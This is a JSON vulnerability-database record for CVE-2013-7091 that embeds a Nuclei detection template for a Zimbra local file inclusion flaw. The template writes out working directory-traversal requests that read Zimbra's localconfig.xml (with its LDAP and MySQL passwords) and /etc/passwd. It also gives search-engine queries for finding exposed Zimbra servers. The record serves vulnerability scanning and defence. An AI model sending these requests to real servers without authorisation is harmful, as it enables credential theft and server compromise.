{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2013-7091/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2013-7091/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2013-7091/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2013-7091/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2013-7091/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2013-7091"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2013-7091"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2013/CVE-2013-7091.yaml",
    "nuclei_template_severity": "medium",
    "nuclei_template_yaml": "id: CVE-2013-7091\n\ninfo:\n  name: Zimbra Collaboration Server 7.2.2/8.0.2 Local File Inclusion\n  author: rubina119\n  severity: medium\n  description: A directory traversal vulnerability in /res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz in Zimbra 7.2.2 and 8.0.2 allows remote attackers to read arbitrary files via a .. (dot dot) in the skin parameter. This can be leveraged to execute arbitrary code by obtaining LDAP credentials and accessing the service/admin/soap API.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.\n  remediation: |\n    Apply the latest security patches or upgrade to a newer version of Zimbra Collaboration Server to mitigate the LFI vulnerability.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2013-7091\n    - https://www.exploit-db.com/exploits/30085\n    - https://www.exploit-db.com/exploits/30472\n    - http://www.exploit-db.com/exploits/30085\n    - http://packetstormsecurity.com/files/124321\n  classification:\n    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N\n    cvss-score: 5\n    cve-id: CVE-2013-7091\n    cwe-id: CWE-22\n    epss-score: 0.86311\n    epss-percentile: 0.99725\n    cpe: cpe:2.3:a:synacor:zimbra_collaboration_suite:6.0.0:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: synacor\n    product: zimbra_collaboration_suite\n    shodan-query:\n      - http.title:\"zimbra collaboration suite\"\n      - http.title:\"zimbra web client sign in\"\n    fofa-query:\n      - title=\"zimbra web client sign in\"\n      - title=\"zimbra collaboration suite\"\n    google-query:\n      - intitle:\"zimbra collaboration suite\"\n      - intitle:\"zimbra web client sign in\"\n  tags: cve2013,cve,packetstorm,zimbra,lfi,edb,synacor,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00\"\n      - \"{{BaseURL}}/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../etc/passwd%00\"\n\n    stop-at-first-match: true\n\n    matchers-condition: or\n    matchers:\n      - type: word\n        words:\n          - \"zimbra_server_hostname\"\n          - \"zimbra_ldap_userdn\"\n          - \"zimbra_ldap_password\"\n          - \"ldap_postfix_password\"\n          - \"ldap_amavis_password\"\n          - \"ldap_nginx_password\"\n          - \"mysql_root_password\"\n        condition: or\n\n      - type: regex\n        regex:\n          - \"root:.*:0:0:\"\n# digest: 4a0a00473045022100c0082c4a2082bbc1564961f9d2fb961f13bf535ff49bf96543a336d12cc08a6902202ff9b87a9078fe3d34adbd3184eb6f7bf532417c415203fe9c49fe63ad214d6c:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2013-7091"
}